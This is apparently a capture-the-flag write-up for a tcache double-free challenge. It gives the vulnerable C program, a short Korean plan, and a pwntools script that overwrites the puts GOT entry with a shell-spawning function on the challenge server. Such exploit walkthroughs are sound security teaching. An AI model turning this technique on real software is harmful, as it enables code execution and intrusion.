// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if(cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if(!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while(1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
좀 길다 ...? 우선 서버 환경에서는 Double Free가 가능하다.
Create -> Delete -> Delete -> Create(puts_got) -> Create('a') -> Create('get_shell')
이렇게 페이로드를 전달하면 문제가 풀리겠다.
from pwn import *
REMOTE = True
if not REMOTE:
r = process('./tcache_dup')
else:
r = remote('host3.dreamhack.games', 13285)
sla = r.sendlineafter
sa = r.sendafter
def Create(size, data):
sla('> ', '1')
sla('Size: ', str(size))
sa('Data: ', data)
def Delete(idx):
sla('> ', '2')
sla('idx: ', str(idx))
puts_got = 0x601020
get_shell_addr = 0x400ab0
Create(0x18, 'a')
Delete(0)
Delete(0)
Create(0x18, p64(puts_got))
Create(0x18, 'a')
Create(0x18, p64(get_shell_addr))
r.interactive()